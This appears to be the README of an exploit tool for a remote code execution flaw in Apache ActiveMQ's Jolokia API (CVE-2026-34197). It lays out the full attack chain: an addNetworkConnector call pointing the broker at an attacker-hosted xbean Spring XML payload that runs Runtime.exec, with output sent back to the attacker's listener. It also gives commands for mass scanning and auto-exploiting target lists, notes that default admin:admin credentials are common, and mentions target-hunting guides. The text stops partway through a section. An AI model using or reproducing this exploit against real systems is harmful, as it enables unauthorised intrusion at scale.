Apache ActiveMQ 通过 Jolokia API 实现 RCE 的漏洞利用工具(CVE-2026-34197),支持命令输出捕获、批量扫描和自动利用。
概述 • 详情 • 攻击流程 • 快速开始 • ATTACKER_IP 指南 • 用法 • 输出捕获 • 扫描器 • 侦察 • 检测 • 修复
CVE-2026-34197 是 Apache ActiveMQ Classic 中的一个严重远程代码执行(RCE)漏洞,允许经过身份验证的攻击者通过 Web 控制台暴露的 Jolokia API 执行任意操作系统命令。
该漏洞已存在 超过 13 年,位于 Jolokia(HTTP-JMX 桥接)、ActiveMQ MBeans、网络连接器和 VM 传输之间的交互中。
[!CAUTION] 这是由 KONDOR DEV SECURITY 开发的 首个公开 PoC。仅限在授权的安全评估中使用。
id、whoami、cat /etc/passwd)会自动在终端中显示其输出version_check.py)— 多线程版本检测 + 定向利用| CVE ID | CVE-2026-34197 |
| 严重性 | |
| 类型 | 远程代码执行(RCE) |
| CWE | CWE-20(输入验证不当)/ CWE-94(代码注入) |
| 受影响版本 | ActiveMQ Classic < 5.19.4 和 6.0.0 — 6.2.2 |
| 已修复版本 | 5.19.4 / 6.2.3 |
| 需要认证 | 是(默认凭据 admin:admin 很常见) |
| 无需认证 | 6.0.0 — 6.1.1(由于 CVE-2024-32114) |
| 默认端口 | 8161(Web 控制台) |
CVE-2026-34197 — Exploitation Chain
──────────────────────────────────────────────────────────────
ATTACKER ACTIVEMQ SERVER ──────── ─────────────── │ │ [1] │── POST /api/jolokia/ ──────────────────>│ │ addNetworkConnector( │ │ vm://rce?brokerConfig= │ │ xbean:http://ATTACKER/payload.xml) │ │ │ │ [2] │── Creates VM broker │ │── Fetches remote XML │ │ [3] │<── GET /payload.xml ─────────────────────│ │── Serves malicious Spring XML ─────────>│ │ │ │ [4] │── Spring instantiates beans │ │── Runtime.exec(COMMAND) │ │── ** RCE ACHIEVED ** │ │ [5] │<── POST /output (command stdout) ────────│ (auto, for simple commands) │── Displays command output │ │ │
### 分步解析
| 步骤 | 操作 | 组件 |
|:----:|--------|-----------|
| **1** | 攻击者向 `/api/jolokia/` 发送 POST 请求,在 Broker MBean 上调用 `addNetworkConnector` | Jolokia API |
| **2** | ActiveMQ 处理 `vm://` 传输 URI,并创建一个临时 broker,其 `brokerConfig` 指向远程 URL | VM 传输 |
| **3** | `xbean:` 方案触发从攻击者服务器下载 Spring XML 配置文件 | Spring / XBean |
| **4** | Spring 实例化 XML 中的所有 bean,包括一个调用 `Runtime.getRuntime().exec()` 的 bean | Spring 上下文 |
| **5** | 对于简单命令,输出会被捕获并通过 HTTP POST 发送回攻击者的监听器(自动) | 输出捕获 |
---
## 项目结构```
CVE-2026-34197/
├── exploit.py # PoC exploit (single target + mass scan)
├── version_check.py # Scanner + Auto-Exploit (2-phase pipeline)
├── payloads/
│ └── template.xml # Spring XML payload template
├── targets.txt # Target URLs (one per line)
├── docker/
│ └── docker-compose.yml # Vulnerable lab environment
├── docs/
│ ├── HUNTING_GUIDE_EN.md # Target hunting guide (English)
│ └── HUNTING_GUIDE_ES.md # Guía de búsqueda (Español)
├── LICENSE
└── README.md
pip install requests
### 实验室环境(Docker)```bash
cd docker
docker-compose up -d
# ActiveMQ Classic 5.18.6 (vulnerable) → localhost:8161
python exploit.py -t http://TARGET:8161 -l YOUR_IP -c "id"
python exploit.py -T targets.txt -l YOUR_IP -c "id"
### 扫描器 + 自动利用(推荐用于批量目标)```bash
# Scan only — detect versions, no exploitation
python version_check.py -T targets.txt
# Scan + auto-exploit vulnerable targets
python version_check.py -T targets.txt -l YOUR_IP -c "id"
ATTACKER_IP(-l / --lhost)-l(或 --lhost)参数对于漏洞利用的成功至关重要。它指定了你的机器将用于提供恶意 Spring XML 载荷的 IP 地址。目标 ActiveMQ 服务器必须能够通过网络访问该 IP 才能下载载荷。
ATTACKER_IP?当漏洞被触发时,它会告诉 ActiveMQ:"从 http://ATTACKER_IP:8888/payload.xml 下载你的配置"。然后 ActiveMQ 会向你的机器发起一个出站 HTTP 请求。如果它无法访问到你,漏洞利用将静默失败。```
YOUR MACHINE TARGET (ActiveMQ)
──────────── ─────────────────
ATTACKER_IP:8888 ◄──── HTTP GET ──── "fetch xbean:http://ATTACKER_IP:8888/payload.xml"
(serves payload.xml) (downloads & executes)
### 如何确定你的 `ATTACKER_IP`